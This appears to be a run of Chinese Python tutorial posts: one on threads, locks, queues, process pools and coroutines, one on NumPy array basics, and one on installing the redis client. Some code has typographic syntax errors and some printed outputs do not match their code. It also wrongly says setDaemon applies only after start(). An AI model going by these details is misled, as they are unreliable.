我们都知道计算机是由硬件和软件组成的。硬件中的CPU是计算机的核心，它承担计算机的所有任务。
操作系统是运行在硬件之上的软件，是计算机的管理者，它负责资源的管理和分配、任务的调度。 程序是运行在系统上的具有某种功能的软件，比如说浏览器，音乐播放器等。
每次执行程序的时候，都会完成一定的功能，比如说浏览器帮我们打开网页，为了保证其独立性，就需要一个专门的管理和控制执行程序的数据结构——进程控制块。
进程就是一个程序在一个数据集上的一次动态执行过程。 进程一般由程序、数据集、进程控制块三部分组成。我们编写的程序用来描述进程要完成哪些功能以及如何完成；数据
集则是程序在执行过程中所需要使用的资源；进程控制块用来记录进程的外部特征，描述进程的执行变化过程，系统可以利用它来控制和管理进程，它是系统感知进程存在的唯一
标志。



在早期的操作系统里，计算机只有一个核心，进程执行程序的最小单位，任务调度采用时间片轮转的抢占式方式进行进程调度。每个进程都有各自的一块独立的内存，保证进程彼
此间的内存地址空间的隔离。 随着计算机技术的发展，进程出现了很多弊端，一是进程的创建、撤销和切换的开销比较大，二是由于对称多处理机（对称多处理机
（SymmetricalMulti-Processing）又叫SMP，是指在一个计算机上汇集了一组处理器(多CPU)，各CPU之间共享内存子系统以及总线结构
）的出现，可以满足多个运行单位，而多进程并行开销过大。 这个时候就引入了线程的概念。
线程也叫轻量级进程，它是一个基本的CPU执行单元，也是程序执行过程中的最小单元，由线程ID、程序计数器、寄存器集合
和堆栈共同组成。线程的引入减小了程序并发执行时的开销，提高了操作系统的并发性能。
线程没有自己的系统资源，只拥有在运行时必不可少的资源。但线程可以与同属与同一进程的其他线程共享进程所拥有的其他资源。



### 进程与线程之间的关系

线程是属于进程的，线程运行在进程空间内，同一进程所产生的线程共享同一内存空间，当进程退出时该进程所产生的线程都会被强制退出并清除。线程可与属于同一进程的其它
线程共享进程所拥有的全部资源，但是其本身基本上不拥有系统资源，只拥有一点在运行中必不可少的信息(如程序计数器、一组寄存器和栈)。



python 线程

Threading用于提供线程相关的操作，线程是应用程序中工作的最小单元。



### 1、threading模块

threading 模块建立在 _thread 模块之上。thread 模块以低级、原始的方式来处理和控制线程，而 threading 模块通过对
thread 进行二次封装，提供了更方便的 api 来处理线程。



    import threading
    import time
      
    def worker(num):
        """
        thread worker function
        :return:
        """
        time.sleep(1)
        print("The num is  %d" % num)
        return
      
    for i in range(20):
        t = threading.Thread(target=worker,args=(i,)，name=“t.%d” % i)
        t.start()

上述代码创建了20个“前台”线程，然后控制器就交给了CPU，CPU根据指定算法进行调度，分片执行指令。



Thread方法说明



t.start() : 激活线程，



t.getName() : 获取线程的名称



t.setName() ： 设置线程的名称



t.name : 获取或设置线程的名称



t.is_alive() ： 判断线程是否为激活状态



t.isAlive() ：判断线程是否为激活状态



t.setDaemon() 设置为后台线程或前台线程（默认：False）;通过一个布尔值设置线程是否为守护线程，必须在执行start()方法之后才可以使用。
如果是后台线程，主线程执行过程中，后台线程也在进行，主线程执行完毕后，后台线程不论成功与否，均停止；如果是前台线程，主线程执行过程中，前台线程也在进行，主线
程执行完毕后，等待前台线程也执行完成后，程序停止



t.isDaemon() ： 判断是否为守护线程



t.ident ：获取线程的标识符。线程标识符是一个非零整数，只有在调用了start()方法之后该属性才有效，否则它只返回None。



t.join() ：逐个执行每个线程，执行完毕后继续往下执行，该方法使得多线程变得无意义



t.run() ：线程被cpu调度后自动执行线程对象的run方法



### 2、线程锁threading.RLock和threading.Lock



由于线程之间是进行随机调度，并且每个线程可能只执行n条执行之后，CPU接着执行其他线程。为了保证数据的准确性，引入了锁的概念。所以，可能出现如下问题：



例：假设列表A的所有元素就为0，当一个线程从前向后打印列表的所有元素，另外一个线程则从后向前修改列表的元素为1,那么输出的时候，列表的元素就会一部分为0，一
部分为1,这就导致了数据的不一致。锁的出现解决了这个问题。



    import threading
    import time
      
    globals_num = 0
      
    lock = threading.RLock()
      
    def Func():
        lock.acquire()  # 获得锁
        global globals_num
        globals_num += 1
        time.sleep(1)
        print(globals_num)
        lock.release()  # 释放锁
      
    for i in range(10):
        t = threading.Thread(target=Func)
        t.start()



### 3、threading.RLock和threading.Lock 的区别

RLock允许在同一线程中被多次acquire。而Lock却不允许这种情况。
如果使用RLock，那么acquire和release必须成对出现，即调用了n次acquire，必须调用n次的release才能真正释放所占用的琐。



    import threading
    lock = threading.Lock()    #Lock对象
    lock.acquire()
    lock.acquire()  #产生了死琐。
    lock.release()
    lock.release()　
    import threading
    rLock = threading.RLock()  #RLock对象
    rLock.acquire()
    rLock.acquire()    #在同一线程内，程序不会堵塞。
    rLock.release()
    rLock.release()



### 4、threading.Event



python线程的事件用于主线程控制其他线程的执行，事件主要提供了三个方法 set、wait、clear。



事件处理的机制：全局定义了一个“Flag”，如果“Flag”值为 False，那么当程序执行 event.wait
方法时就会阻塞，如果“Flag”值为True，那么event.wait 方法时便不再阻塞。



clear：将“Flag”设置为False

set：将“Flag”设置为True

Event.isSet() ：判断标识位是否为Ture。



    import threading
      
    def do(event):
        print('start')
        event.wait()
        print('execute')
      
    event_obj = threading.Event()
    for i in range(10):
        t = threading.Thread(target=do, args=(event_obj,))
        t.start()
      
    event_obj.clear()
    inp = input('input:')
    if inp == 'true':
        event_obj.set()

当线程执行的时候，如果flag为False，则线程会阻塞，当flag为True的时候，线程不会阻塞。它提供了本地和远程的并发性。



### 5、threading.Condition



一个condition变量总是与某些类型的锁相联系，这个可以使用默认的情况或创建一个，当几个condition变量必须共享和同一个锁的时候，是很有用的。锁是
conditon对象的一部分：没有必要分别跟踪。



condition变量服从上下文管理协议：with语句块封闭之前可以获取与锁的联系。 acquire() 和 release()
会调用与锁相关联的相应的方法。



其他和锁关联的方法必须被调用，wait()方法会释放锁，当另外一个线程使用 notify() or
notify_all()唤醒它之前会一直阻塞。一旦被唤醒，wait()会重新获得锁并返回，



Condition类实现了一个conditon变量。 这个conditiaon变量允许一个或多个线程等待，直到他们被另一个线程通知。
如果lock参数，被给定一个非空的值，，那么他必须是一个lock或者Rlock对象，它用来做底层锁。否则，会创建一个新的Rlock对象，用来做底层锁。



wait(timeout=None) ：
等待通知，或者等到设定的超时时间。当调用这wait()方法时，如果调用它的线程没有得到锁，那么会抛出一个RuntimeError 异常。
wati()释放锁以后，在被调用相同条件的另一个进程用notify() or notify_all() 叫醒之前 会一直阻塞。wait()
还可以指定一个超时时间。

如果有等待的线程，notify()方法会唤醒一个在等待conditon变量的线程。notify_all() 则会唤醒所有在等待conditon变量的线程。



注意： notify()和notify_all()不会释放锁，也就是说，线程被唤醒后不会立刻返回他们的wait()
调用。除非线程调用notify()和notify_all()之后放弃了锁的所有权。



在典型的设计风格里，利用condition变量用锁去通许访问一些共享状态，线程在获取到它想得到的状态前，会反复调用wait()。修改状态的线程在他们状态改变
时调用 notify() or notify_all()，用这种方式，线程会尽可能的获取到想要的一个等待者状态。 例子： 生产者-消费者模型，



    import threading
    import time
    def consumer(cond):
        with cond:
            print("consumer before wait")
            cond.wait()
            print("consumer after wait")
      
    def producer(cond):
        with cond:
            print("producer before notifyAll")
            cond.notifyAll()
            print("producer after notifyAll")
      
    condition = threading.Condition()
    c1 = threading.Thread(name="c1", target=consumer, args=(condition,))
    c2 = threading.Thread(name="c2", target=consumer, args=(condition,))
      
    p = threading.Thread(name="p", target=producer, args=(condition,))
      
    c1.start()
    time.sleep(2)
    c2.start()
    time.sleep(2)
    p.start()



### 6、queue模块



Queue 就是对队列，它是线程安全的



举例来说，我们去麦当劳吃饭。饭店里面有厨师职位，前台负责把厨房做好的饭卖给顾客，顾客则去前台领取做好的饭。这里的前台就相当于我们的队列。形成管道样，厨师做好
饭通过前台传送给顾客，所谓单向队列



这个模型也叫生产者-消费者模型。



    import queue
     
    q = queue.Queue(maxsize=0)  # 构造一个先进显出队列，maxsize指定队列长度，为0 时，表示队列长度无限制。
     
    q.join()    # 等到队列为kong的时候，在执行别的操作
    q.qsize()   # 返回队列的大小 （不可靠）
    q.empty()   # 当队列为空的时候，返回True 否则返回False （不可靠）
    q.full()    # 当队列满的时候，返回True，否则返回False （不可靠）
    q.put(item, block=True, timeout=None) #  将item放入Queue尾部，item必须存在，可以参数block默认为True,表示当队列满时，会等待队列给出可用位置，
    　　　　　　　　　　　　　　　　　　　　　　　　 为False时为非阻塞，此时如果队列已满，会引发queue.Full 异常。 可选参数timeout，表示 会阻塞设置的时间，过后，
    　　　　　　　　　　　　　　　　　　　　　　　　  如果队列无法给出放入item的位置，则引发 queue.Full 异常
    q.get(block=True, timeout=None) #   移除并返回队列头部的一个值，可选参数block默认为True，表示获取值的时候，如果队列为空，则阻塞，为False时，不阻塞，
    　　　　　　　　　　　　　　　　　　　　　　若此时队列为空，则引发 queue.Empty异常。 可选参数timeout，表示会阻塞设置的时候，过后，如果队列为空，则引发Empty异常。
    q.put_nowait(item) #   等效于 put(item,block=False)
    q.get_nowait() #    等效于 get(item,block=False)

代码如下：



    #!/usr/bin/env python
    import Queue
    import threading
    message = Queue.Queue(10)
     
     
    def producer(i):
        while True:
            message.put(i)
     
     
    def consumer(i):
        while True:
            msg = message.get()
     
     
    for i in range(12):
        t = threading.Thread(target=producer, args=(i,))
        t.start()
     
    for i in range(10):
        t = threading.Thread(target=consumer, args=(i,))
        t.start()

那就自己做个线程池吧：



    # 简单往队列中传输线程数
    import threading
    import time
    import queue
    class Threadingpool():
        def __init__(self,max_num = 10):
            self.queue = queue.Queue(max_num)
            for i in range(max_num):
                self.queue.put(threading.Thread)
        def getthreading(self):
            return self.queue.get()
        def addthreading(self):
            self.queue.put(threading.Thread)
    def func(p,i):
        time.sleep(1)
        print(i)
        p.addthreading()
    if __name__ == "__main__":
        p = Threadingpool()
        for i in range(20):
            thread = p.getthreading()
            t = thread(target = func, args = (p,i))
            t.start()





    #往队列中无限添加任务
    import queue
    import threading
    import contextlib
    import time
    StopEvent = object()
    class ThreadPool(object):
        def __init__(self, max_num):
            self.q = queue.Queue()
            self.max_num = max_num
            self.terminal = False
            self.generate_list = []
            self.free_list = []
        def run(self, func, args, callback=None):
            """
            线程池执行一个任务
            :param func: 任务函数
            :param args: 任务函数所需参数
            :param callback: 任务执行失败或成功后执行的回调函数，回调函数有两个参数1、任务函数执行状态；2、任务函数返回值（默认为None，即：不执行回调函数）
            :return: 如果线程池已经终止，则返回True否则None
            """
            if len(self.free_list) == 0 and len(self.generate_list) < self.max_num:
                self.generate_thread()
            w = (func, args, callback,)
            self.q.put(w)
        def generate_thread(self):
            """
            创建一个线程
            """
            t = threading.Thread(target=self.call)
            t.start()
        def call(self):
            """
            循环去获取任务函数并执行任务函数
            """
            current_thread = threading.currentThread
            self.generate_list.append(current_thread)
            event = self.q.get()  # 获取线程
            while event != StopEvent:   # 判断获取的线程数不等于全局变量
                func, arguments, callback = event   # 拆分元祖，获得执行函数，参数，回调函数
                try:
                    result = func(*arguments)   # 执行函数
                    status = True
                except Exception as e:    # 函数执行失败
                    status = False
                    result = e
                if callback is not None:
                    try:
                        callback(status, result)
                    except Exception as e:
                        pass
                # self.free_list.append(current_thread)
                # event = self.q.get()
                # self.free_list.remove(current_thread)
                with self.work_state():
                    event = self.q.get()
            else:
                self.generate_list.remove(current_thread)
        def close(self):
            """
            关闭线程，给传输全局非元祖的变量来进行关闭
            :return:
            """
            for i in range(len(self.generate_list)):
                self.q.put(StopEvent)
        def terminate(self):
            """
            突然关闭线程
            :return:
            """
            self.terminal = True
            while self.generate_list:
                self.q.put(StopEvent)
            self.q.empty()
        @contextlib.contextmanager
        def work_state(self):
            self.free_list.append(threading.currentThread)
            try:
                yield
            finally:
                self.free_list.remove(threading.currentThread)
    def work(i):
        print(i)
        return i +1 # 返回给回调函数
    def callback(ret):
        print(ret)
    pool = ThreadPool(10)
    for item in range(50):
        pool.run(func=work, args=(item,),callback=callback)
    pool.terminate()
    # pool.close()



### python 进程

multiprocessing是python的多进程管理包，和threading.Thread类似。



### 1、multiprocessing模块



直接从侧面用subprocesses替换线程使用GIL的方式，由于这一点，multiprocessing模块可以让程序员在给定的机器上充分的利用CPU。在m
ultiprocessing中，通过创建Process对象生成进程，然后调用它的start()方法，



    from multiprocessing import Process
     
    def func(name):
        print('hello', name)
     
     
    if __name__ == "__main__":
        p = Process(target=func,args=('zhangyanlin',))
        p.start()
        p.join()  # 等待进程执行完毕

在使用并发设计的时候最好尽可能的避免共享数据，尤其是在使用多进程的时候。 如果你真有需要 要共享数据， multiprocessing提供了两种方式。



（1）multiprocessing，Array,Value



数据可以用Value或Array存储在一个共享内存地图里，如下：



    from multiprocessing import Array,Value,Process
     
    def func(a,b):
        a.value = 3.333333333333333
        for i in range(len(b)):
            b[i] = -b[i]
     
     
    if __name__ == "__main__":
        num = Value('d',0.0)
        arr = Array('i',range(11))
     
     
        c = Process(target=func,args=(num,arr))
        d= Process(target=func,args=(num,arr))
        c.start()
        d.start()
        c.join()
        d.join()
     
        print(num.value)
        for i in arr:
            print(i)

输出：



    　　3.1415927
    　　[0, -1, -2, -3, -4, -5, -6, -7, -8, -9]

创建num和arr时，“d”和“i”参数由Array模块使用的typecodes创建：“d”表示一个双精度的浮点数，“i”表示一个有符号的整数，这些共享对象
将被线程安全的处理。



Array(‘i’, range(10))中的‘i’参数：



‘c’: ctypes.c_char　　　　 ‘u’: ctypes.c_wchar　　　　‘b’: ctypes.c_byte　　　　 ‘B’:
ctypes.c_ubyte

‘h’: ctypes.c_short　　　  ‘H’: ctypes.c_ushort　　  ‘i’: ctypes.c_int　　　　　 ‘I’:
ctypes.c_uint

‘l’: ctypes.c_long,　　　　‘L’: ctypes.c_ulong　　　　‘f’: ctypes.c_float　　　　‘d’:
ctypes.c_double



（2）multiprocessing，Manager



由Manager()返回的manager提供list, dict, Namespace, Lock, RLock, Semaphore,
BoundedSemaphore, Condition, Event, Barrier, Queue, Value and Array类型的支持。



    from multiprocessing import Process,Manager
    def f(d,l):
        d["name"] = "zhangyanlin"
        d["age"] = 18
        d["Job"] = "pythoner"
        l.reverse()
     
    if __name__ == "__main__":
        with Manager() as man:
            d = man.dict()
            l = man.list(range(10))
     
            p = Process(target=f,args=(d,l))
            p.start()
            p.join()
     
            print(d)
            print(l)



输出：




    　　{0.25: None, 1: '1', '2': 2}
    　　[9, 8, 7, 6, 5, 4, 3, 2, 1, 0]

Server process manager比 shared memory
更灵活，因为它可以支持任意的对象类型。另外，一个单独的manager可以通过进程在网络上不同的计算机之间共享，不过他比shared memory要慢。



### 2、进程池（Using a pool of workers）



Pool类描述了一个工作进程池，他有几种不同的方法让任务卸载工作进程。



进程池内部维护一个进程序列，当使用时，则去进程池中获取一个进程，如果进程池序列中没有可供使用的进进程，那么程序就会等待，直到进程池中有可用进程为止。



我们可以用Pool类创建一个进程池， 展开提交的任务给进程池。 例：



    #apply
    from  multiprocessing import Pool
    import time
     
    def f1(i):
        time.sleep(0.5)
        print(i)
        return i + 100
     
    if __name__ == "__main__":
        pool = Pool(5)
        for i in range(1,31):
            pool.apply(func=f1,args=(i,))
     
    #apply_async
    def f1(i):
        time.sleep(0.5)
        print(i)
        return i + 100
    def f2(arg):
        print(arg)
     
    if __name__ == "__main__":
        pool = Pool(5)
        for i in range(1,31):
            pool.apply_async(func=f1,args=(i,),callback=f2)
        pool.close()
        pool.join()

一个进程池对象可以控制工作进程池的哪些工作可以被提交，它支持超时和回调的异步结果，有一个类似map的实现。



processes ：使用的工作进程的数量，如果processes是None那么使用 os.cpu_count()返回的数量。

initializer： 如果initializer是None，那么每一个工作进程在开始的时候会调用initializer(*initargs)。

maxtasksperchild：工作进程退出之前可以完成的任务数，完成后用一个心的工作进程来替代原进程，来让闲置的资源被释放。maxtasksperchi
ld默认是None，意味着只要Pool存在工作进程就会一直存活。

context: 用在制定工作进程启动时的上下文，一般使用 multiprocessing.Pool()
或者一个context对象的Pool()方法来创建一个池，两种方法都适当的设置了context

注意：Pool对象的方法只可以被创建pool的进程所调用。



New in version 3.2: maxtasksperchild

New in version 3.4: context



### 进程池的方法

apply(func[, args[, kwds]]) ：使用arg和kwds参数调用func函数，结果返回前会一直阻塞，由于这个原因，apply_asyn
c()更适合并发执行，另外，func函数仅被pool中的一个进程运行。



apply_async(func[, args[, kwds[, callback[, error_callback]]]]) ： apply()方法的一个
变体，会返回一个结果对象。如果callback被指定，那么callback可以接收一个参数然后被调用，当结果准备好回调时会调用callback，调用失败时，
则用error_callback替换callback。 Callbacks应被立即完成，否则处理结果的线程会被阻塞。



close() ： 阻止更多的任务提交到pool，待任务完成后，工作进程会退出。



terminate() ： 不管任务是否完成，立即停止工作进程。在对pool对象进程垃圾回收的时候，会立即调用terminate()。



join() : wait工作线程的退出，在调用join()前，必须调用close() or
terminate()。这样是因为被终止的进程需要被父进程调用wait（join等价与wait），否则进程会成为僵尸进程。



map(func, iterable[, chunksize])¶



map_async(func, iterable[, chunksize[, callback[, error_callback]]])¶



imap(func, iterable[, chunksize])¶



imap_unordered(func, iterable[, chunksize])



starmap(func, iterable[, chunksize])¶



starmap_async(func, iterable[, chunksize[, callback[, error_back]]])



### python 协程



线程和进程的操作是由程序触发系统接口，最后的执行者是系统；协程的操作则是程序员。



协程存在的意义：对于多线程应用，CPU通过切片的方式来切换线程间的执行，线程切换时需要耗时（保存状态，下次继续）。协程，则只使用一个线程，在一个线程中规定某
个代码块执行顺序。



协程的适用场景：当程序中存在大量不需要CPU的操作时（IO），适用于协程；



event loop是协程执行的控制点， 如果你希望执行协程， 就需要用到它们。



event loop提供了如下的特性：



注册、执行、取消延时调用(异步函数)

创建用于通信的client和server协议(工具)

创建和别的程序通信的子进程和协议(工具)

把函数调用送入线程池中

协程示例：



    import asyncio
      
    async def cor1():
        print("COR1 start")
        await cor2()
        print("COR1 end")
      
    async def cor2():
        print("COR2")
      
    loop = asyncio.get_event_loop()
    loop.run_until_complete(cor1())
    loop.close()

最后三行是重点。



asyncio.get_event_loop()  : asyncio启动默认的event loop

run_until_complete()  :  这个函数是阻塞执行的，知道所有的异步函数执行完成，

close()  :  关闭event loop。

### 1、greenlet



    import greenlet
    def fun1():
        print("12")
        gr2.switch()
        print("56")
        gr2.switch()
     
    def fun2():
        print("34")
        gr1.switch()
        print("78")
     
     
    gr1 = greenlet.greenlet(fun1)
    gr2 = greenlet.greenlet(fun2)
    gr1.switch()



### 2、gevent



gevent属于第三方模块需要下载安装包



    pip3 install --upgrade pip3
    pip3 install gevent





    import gevent
     
    def fun1():
        print("www.baidu.com")   # 第一步
        gevent.sleep(0)
        print("end the baidu.com")  # 第三步
     
    def fun2():
        print("www.zhihu.com")   # 第二步
        gevent.sleep(0)
        print("end th zhihu.com")  # 第四步
     
    gevent.joinall([
        gevent.spawn(fun1),
        gevent.spawn(fun2),
    ])

遇到IO操作自动切换：



    import gevent
    import requests
    def func(url):
        print("get: %s"%url)
        gevent.sleep(0)
        date =requests.get(url)
        ret = date.text
        print(url,len(ret))
    gevent.joinall([
        gevent.spawn(func, 'https://www.pythontab.com/'),
        gevent.spawn(func, 'https://www.yahoo.com/'),
        gevent.spawn(func, 'https://github.com/'),
    ])



文章转自：http://www.cnblogs.com/aylin/p/5601969.html

Python科学计算库Numpy数组的初始化和基本操作

2018-01-01T00:00:00+08:00

# Python科学计算库Numpy数组的初始化和基本操作

NumPy系统是Python的一种开源的数值计算扩展。这种工具可用来存储和处理大型矩阵，比Python自身的嵌套列表（nested list structu
re)结构要高效的多（该结构也可以用来表示矩阵（matrix））。它包括：1、一个强大的N维数组对象Array；2、比较成熟的（广播）函数库；3、用于整合C
/C++和Fortran代码的工具包；4、实用的线性代数、傅里叶变换和随机数生成函数。numpy和稀疏矩阵运算包scipy配合使用更加方便。

今天我们来看下Numpy数组。



### 一. Numpy数组对象



Numpy中的多维数组称为ndarray，它有两个组成部分。

数据本身。

描述数据的元数据。



它有以下几个属性：



ndarray.ndim：数组的维数

ndarray.shape：数组每一维的大小

ndarray.size：数组中全部元素的数量

ndarray.dtype：数组中元素的类型（numpy.int32, numpy.int16, and numpy.float64等）

ndarray.itemsize：每个元素占几个字节



在数组的处理过程中，原始数据不受影响，变化的只是元数据。



Numpy数组通常是由相同种类的元素组成，即数组中数据类型必须一致。好处是：数组元素类型相同，可轻松确定存储数组所需的空间大小。同时，numpy可运用向量化
运算来处理整个数组。Numpy数组的索引从0开始。



例子：



    >>> import numpy as np
    >>> a = np.arange(15).reshape(3, 5)
    >>> a
    array([[ 0,  1,  2,  3,  4],
           [ 5,  6,  7,  8,  9],
           [10, 11, 12, 13, 14]])
    >>> a.shape
    (3, 5)
    >>> a.ndim
    2
    >>> a.dtype.name
    'int64'
    >>> a.itemsize
    8
    >>> a.size
    15
    >>> type(a)
    <type 'numpy.ndarray'>
    >>> b = np.array([6, 7, 8])
    >>> b
    array([6, 7, 8])
    >>> type(b)
    <type 'numpy.ndarray'>



### 二.创建数组：



使用array函数讲tuple和list转为array：



    >>> import numpy as np
    >>> a = np.array([2,3,4])
    >>> a
    array([2, 3, 4])
    >>> a.dtype
    dtype('int64')
    >>> b = np.array([1.2, 3.5, 5.1])
    >>> b.dtype
    dtype('float64')



多维数组：



    >>> b = np.array([(1.5,2,3), (4,5,6)])
    >>> b
    array([[ 1.5,  2. ,  3. ],
           [ 4. ,  5. ,  6. ]])

生成数组的同时指定类型：



    >>> c = np.array( [ [1,2], [3,4] ], dtype=complex )
    >>> c
    array([[ 1.+0.j,  2.+0.j],
           [ 3.+0.j,  4.+0.j]])



生成数组并赋为特殊值：

ones：全1

zeros：全0

empty：随机数，取决于内存情况



    >>> np.zeros( (3,4) )
    array([[ 0.,  0.,  0.,  0.],
           [ 0.,  0.,  0.,  0.],
           [ 0.,  0.,  0.,  0.]])
    >>> np.ones( (2,3,4), dtype=np.int16 )                # dtype can also be specified
    array([[[ 1, 1, 1, 1],
            [ 1, 1, 1, 1],
            [ 1, 1, 1, 1]],
           [[ 1, 1, 1, 1],
            [ 1, 1, 1, 1],
            [ 1, 1, 1, 1]]], dtype=int16)
    >>> np.empty( (2,3) )                                 # uninitialized, output may vary
    array([[  3.73603959e-262,   6.02658058e-154,   6.55490914e-260],
           [  5.30498948e-313,   3.14673309e-307,   1.00000000e+000]])

生成均匀分布的array：

arange（最小值，最大值，步长）（左闭右开）

linspace（最小值，最大值，元素数量）



    >>> np.arange( 10, 30, 5 )
    array([10, 15, 20, 25])
    >>> np.arange( 0, 2, 0.3 )                 # it accepts float arguments
    array([ 0. ,  0.3,  0.6,  0.9,  1.2,  1.5,  1.8])
    >>> np.linspace( 0, 2, 9 )                 # 9 numbers from 0 to 2
    array([ 0.  ,  0.25,  0.5 ,  0.75,  1.  ,  1.25,  1.5 ,  1.75,  2.  ])
    >>> x = np.linspace( 0, 2*pi, 100 )        # useful to evaluate function at lots of points



### 三.基本运算:



整个array按顺序参与运算：



    >>> a = np.array( [20,30,40,50] )
    >>> b = np.arange( 4 )
    >>> b
    array([0, 1, 2, 3])
    >>> c = a-b
    >>> c
    array([20, 29, 38, 47])
    >>> b**2
    array([0, 1, 4, 9])
    >>> 10*np.sin(a)
    array([ 9.12945251, -9.88031624,  7.4511316 , -2.62374854])
    >>> a<35
    array([ True, True, False, False], dtype=bool)



两个二维使用*符号仍然是按位置一对一相乘，如果想表示矩阵乘法，使用dot：



    >>> A = np.array( [[1,1],
    ...             [0,1]] )
    >>> B = np.array( [[2,0],
    ...             [3,4]] )
    >>> A*B                         # elementwise product
    array([[2, 0],
           [0, 4]])
    >>> A.dot(B)                    # matrix product
    array([[5, 4],
           [3, 4]])
    >>> np.dot(A, B)                # another matrix product
    array([[5, 4],
           [3, 4]])



内置函数（min,max,sum)，同时可以使用axis指定对哪一维进行操作：



    >>> b = np.arange(12).reshape(3,4)
    >>> b
    array([[ 0,  1,  2,  3],
           [ 4,  5,  6,  7],
           [ 8,  9, 10, 11]])
    >>>
    >>> b.sum(axis=0)                            # sum of each column
    array([12, 15, 18, 21])
    >>>
    >>> b.min(axis=1)                            # min of each row
    array([0, 4, 8])
    >>>
    >>> b.cumsum(axis=1)                         # cumulative sum along each row
    array([[ 0,  1,  3,  6],
           [ 4,  9, 15, 22],
           [ 8, 17, 27, 38]])



Numpy同时提供很多全局函数



    >>> B = np.arange(3)
    >>> B
    array([0, 1, 2])
    >>> np.exp(B)
    array([ 1.        ,  2.71828183,  7.3890561 ])
    >>> np.sqrt(B)
    array([ 0.        ,  1.        ,  1.41421356])
    >>> C = np.array([2., -1., 4.])
    >>> np.add(B, C)
    array([ 2.,  0.,  6.])



### 四.寻址，索引和遍历：



一维数组的遍历语法和Python list类似：



    >>> a = np.arange(10)**3
    >>> a
    array([  0,   1,   8,  27,  64, 125, 216, 343, 512, 729])
    >>> a[2]
    8
    >>> a[2:5]
    array([ 8, 27, 64])
    >>> a[:6:2] = -1000    # equivalent to a[0:6:2] = -1000; from start to position 6, exclusive, set every 2nd element to -1000
    >>> a
    array([-1000,     1, -1000,    27, -1000,   125,   216,   343,   512,   729])
    >>> a[ : :-1]                                 # reversed a
    array([  729,   512,   343,   216,   125, -1000,    27, -1000,     1, -1000])
    >>> for i in a:
    ...     print(i**(1/3.))
    ...
    nan
    1.0
    nan
    3.0
    nan
    5.0
    6.0
    7.0
    8.0
    9.0



多维数组的访问通过给每一维指定一个索引，顺序是先高维再低维：



    >>> def f(x,y):
    ...     return 10*x+y
    ...
    >>> b = np.fromfunction(f,(5,4),dtype=int)
    >>> b
    array([[ 0,  1,  2,  3],
           [10, 11, 12, 13],
           [20, 21, 22, 23],
           [30, 31, 32, 33],
           [40, 41, 42, 43]])
    >>> b[2,3]
    23
    >>> b[0:5, 1]                       # each row in the second column of b
    array([ 1, 11, 21, 31, 41])
    >>> b[ : ,1]                        # equivalent to the previous example
    array([ 1, 11, 21, 31, 41])
    >>> b[1:3, : ]                      # each column in the second and third row of b
    array([[10, 11, 12, 13],
           [20, 21, 22, 23]])
    When fewer indices are provided than the number of axes, the missing indices are considered complete slices:
    >>>
    >>> b[-1]                                  # the last row. Equivalent to b[-1,:]
    array([40, 41, 42, 43])

…符号表示将所有未指定索引的维度均赋为 ： ，：在python中表示该维所有元素：



    >>> c = np.array( [[[  0,  1,  2],               # a 3D array (two stacked 2D arrays)
    ...                 [ 10, 12, 13]],
    ...                [[100,101,102],
    ...                 [110,112,113]]])
    >>> c.shape
    (2, 2, 3)
    >>> c[1,...]                                   # same as c[1,:,:] or c[1]
    array([[100, 101, 102],
           [110, 112, 113]])
    >>> c[...,2]                                   # same as c[:,:,2]
    array([[  2,  13],
           [102, 113]])



遍历：

如果只想遍历整个array可以直接使用：



    >>> for row in b:
    ...     print(row)
    ...
    [0 1 2 3]
    [10 11 12 13]
    [20 21 22 23]
    [30 31 32 33]
    [40 41 42 43]



但是如果要对每个元素进行操作，就要使用flat属性，这是一个遍历整个数组的迭代器



    >>> for element in b.flat:
    ...     print(element)
    ...
    0
    1
    2
    3
    10
    11
    12
    13
    20
    21
    22
    23
    30
    31
    32
    33
    40
    41
    42
    43

Python连接Redis连接配置

2018-01-01T00:00:00+08:00

# Python连接Redis连接配置

系统环境：

OS：Oracle Linux Enterprise 5.6

redis：redis-2.6.8

python：Python-2.7.3

redis的python包版本：redis-2.7.2.tar

前提条件：

1.确保Redis已成功安装并且正确配置，参考文档

2.确保Python环境已成功配置，参考文档

配置python连接redis:

1.安装Redis的Python包：

使用easy-install安装，关于easy-install的配置，参考以上Python环境的搭建。

[root@njdyw bin]# easy_install2.7.3 redis

Searching for redis

Reading http://pypi.python.org/simple/redis/

Reading http://github.com/andymccurdy/redis-py

Best match: redis 2.7.2

Downloading http://pypi.python.org/packages/source/r/redis/redis-2.7.2.tar.gz#
md5=17ac60dcf13eb33f82cc25974ab17157

Processing redis-2.7.2.tar.gz

Running redis-2.7.2/setup.py -q bdist_egg --dist-dir /tmp/easy_install-
8FAlft/redis-2.7.2/egg-dist-tmp-JzQViJ

zip_safe flag not set; analyzing archive contents...

Adding redis 2.7.2 to easy-install.pth file

Installed /usr/local/python2.7.3/lib/python2.7/site-
packages/redis-2.7.2-py2.7.egg

Processing dependencies for redis

Finished processing dependencies for redis

\--安装Parser包（可选）

说明：Parser可以控制如何解析redis响应的内容。redis-
py包含两个Parser类，PythonParser和HiredisParser。默认，如果已经安装了hiredis模块，redis-
py会使用HiredisParser，否则会使用PythonParser。

HiredisParser是C编写的，由redis核心团队维护，性能要比PythonParser提高10倍以上，所以推荐使用。安装方法，使用easy_ins
tall：

[root@njdyw ~]# easy_install2.7.3 hiredis

Searching for hiredis

Reading http://pypi.python.org/simple/hiredis/

Reading https://github.com/pietern/hiredis-py

Best match: hiredis 0.1.1

Downloading http://pypi.python.org/packages/source/h/hiredis/hiredis-0.1.1.tar
.gz#md5=92128474f6fb027cfb8587fce724ea8e

Processing hiredis-0.1.1.tar.gz

Running hiredis-0.1.1/setup.py -q bdist_egg --dist-dir /tmp/easy_install-
ZanSCB/hiredis-0.1.1/egg-dist-tmp-XCZBQ0

zip_safe flag not set; analyzing archive contents...

Adding hiredis 0.1.1 to easy-install.pth file

Installed /usr/local/python2.7.3/lib/python2.7/site-
packages/hiredis-0.1.1-py2.7-linux-x86_64.egg

Processing dependencies for hiredis

Finished processing dependencies for hiredis

2.检查安装是否成功

\--easy-install安装的扩展包默认在python的site-packages目录下

[root@njdyw ~]#whereis python2.7.3

python2.7: /bin/python2.7.3 /usr/local/python2.7.3

[root@njdyw ~]#cd /usr/local/python2.7.3/lib/python2.7/site-packages/

[root@njdyw site-packages]# ll

总计 408

-rw-r--r-- 1 root root    239 03-21 10:45 easy-install.pth

-rw-r--r-- 1 root root    119 03-21 10:07 README

-rw-r--r-- 1 root root  60401 03-21 10:45redis-2.7.2-py2.7.egg

-rw-r--r-- 1 root root 332125 03-21 10:12 setuptools-0.6c11-py2.7.egg

